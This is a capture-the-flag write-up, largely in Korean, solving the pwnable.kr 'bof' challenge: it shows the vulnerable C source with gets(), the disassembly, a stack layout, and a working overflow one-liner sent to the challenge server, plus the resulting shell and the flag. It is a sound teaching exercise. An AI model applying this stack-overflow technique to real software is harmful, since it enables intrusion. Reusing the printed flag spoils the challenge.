Pwnable.kr Write-Up | By RevDev
Toddler’s Bottle - bof [1pt]
1. Ready to Solve
Problem
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
Used Tools
GNU bash (version 4.3.11)
GNU gdb (version 7.4-2012.02 / with peda)
2. Gathering Informations
Source Code
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
Disassembled Code - main()
Dump of assembler code for function main:
0x0000068a <+0>: push ebp
0x0000068b <+1>: mov ebp,esp
0x0000068d <+3>: and esp,0xfffffff0
0x00000690 <+6>: sub esp,0x10
0x00000693 <+9>: mov DWORD PTR [esp],0xdeadbeef
0x0000069a <+16>: call 0x62c <func>
0x0000069f <+21>: mov eax,0x0
0x000006a4 <+26>: leave
0x000006a5 <+27>: ret
Disassembled Code - func()
0x0000062c <+0>: push ebp
0x0000062d <+1>: mov ebp,esp
0x0000062f <+3>: sub esp,0x48
0x00000632 <+6>: mov eax,gs:0x14
0x00000638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0000063b <+15>: xor eax,eax
0x0000063d <+17>: mov DWORD PTR [esp],0x78c
0x00000644 <+24>: call 0x645 <func+25>
0x00000649 <+29>: lea eax,[ebp-0x2c]
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call 0x650 <func+36>
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x0000065b <+47>: jne 0x66b <func+63>
0x0000065d <+49>: mov DWORD PTR [esp],0x79b
0x00000664 <+56>: call 0x665 <func+57>
0x00000669 <+61>: jmp 0x677 <func+75>
0x0000066b <+63>: mov DWORD PTR [esp],0x7a3
0x00000672 <+70>: call 0x673 <func+71>
0x00000677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x0000067a <+78>: xor eax,DWORD PTR gs:0x14
0x00000681 <+85>: je 0x688 <func+92>
0x00000683 <+87>: call 0x684 <func+88>
0x00000688 <+92>: leave
0x00000689 <+93>: ret
3. Solve
문제 이름에서부터 알 수 있듯이 가장 기초적인 스택 버퍼 오버플로우 문제이다. func() 함수의 인자로 주어진 0xdeadbeef
를 0xcafebabe
로 바꾸면 쉘을 실행시켜주는 구조이다.
가장 먼저 취약점이 있을만한 부분을 살펴보도록하자. 일단은 변조해야 하는 값이 func()의 인자이므로, func() 내부에서 취약점을 찾아보면, gets()가 눈에 보인다. 32Byte 크기의 char[]
형 변수에 값을 입력 받는다.
그 다음으로 할 것은 gets()가 실제 어셈블리 코드 상에서 어디에 존재하는지 알아내는 것이다. gets()함수의 위치를 알면, 입력을 받는 변수인 overflowme
의 스택상 정확한 위치도 알 수 있다.
본인의 경우 한번에 gets()를 찾아낼 수 있었다. 그 위치는 다음과 같다.
0x00000649 <+29>: lea eax,[ebp-0x2c]
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call 0x650 <func+36>
이렇게 overflowme
는 ebp-0x2c
에 존재한다는 것을 알게 되었다.
자, 이제 오버플로우 공격의 시행착오를 줄이기 위해 공격에 앞서 스택 구조를 구성해보자.overflowme
가 ebp-0x2c
, 즉, SFP가 존재하는 주소로 부터 44Byte 떨어져 있다는 것을 알 수 있으니 대략적인 구조를 다음과 같이 예측할 수 있다.
+--------------+-------+-------+--------------+
| ebp+8 | ebp+4 | ebp | ebp-44 |
+--------------+-------+-------+--------------+
| 0xdeadbeef | RET | SFP | overflowme |
+--------------+-------+-------+--------------+
자, 이제 공격코드를 뽑아낼 수 있다.overflowme
의 시작점이 SFP에서 44Byte를 뺀 곳에 있고, 0xdeadbeef
의 시작점은 SFP에서 8바이트를 더한 곳에 있다. 따라서 우리는 (44+8)Byte, 즉, 52Byte의 Dummy를 넣어주고, 0xcafebabe
를 Little Endian을 고려하여 넣어주면 될 듯 하다.
그럼 최종 공격코드는 어떻게 될까?
(python -c 'print "\x90"*52+"\xbe\xba\xfe\xca"';cat)|./bof
혹시 이렇게 썼다면 훌륭하지만서도 가장 중요한 것을 잊고 있다.
Dummy를 NOP으로 채운 것도, 표준 입출력에 값을 넣는 방법도, Little Endian도 확실히 알고 있다는 것이지만, 이번 문제는 netcat을 이용해 서버로 값을 넘겨주어야 하는 문제이다.
정말 마지막으로, 어떻게 하면 값을 넘겨줄 수 있을지 직접 접속해보도록 하자.
문제에서 주어진 nc pwnable.kr 9000
를 통해 서버에 접속하면, 바로 우리가 분석했던 bof파일이 실행되면서 값을 입력 받는다.
revdev@revdev-pc:~$ nc pwnable.kr 9000
overflow me :
자, 이제 우리는 공격코드를 완성할 수 있게 되었다. 이렇게하여 최종적으로 완성된 공격코드는 다음과 같다.(python -c 'print "\x90"*52+"\xbe\xba\xfe\xca"';cat)|nc pwnable.kr 9000
4. Flag
revdev@revdev-pc:~$ (python -c 'print "\x90"*52+"\xbe\xba\xfe\xca"';cat)|nc pwnable.kr 9000
ls
bof
bof.c
flag
log
super.pl
cat flag
daddy, I just pwned a buFFer :)
'Security > Wargame' 카테고리의 다른 글
[Write-Up/Pwnable.kr] Toddler’s Bottle - collision (0) | 2015.07.29 |
---|---|
[Write-Up/Pwnable.kr] Toddler’s Bottle - fd (0) | 2015.07.09 |
[Write-Up/Pwnable.kr] Toddler’s Bottle - random (0) | 2015.07.08 |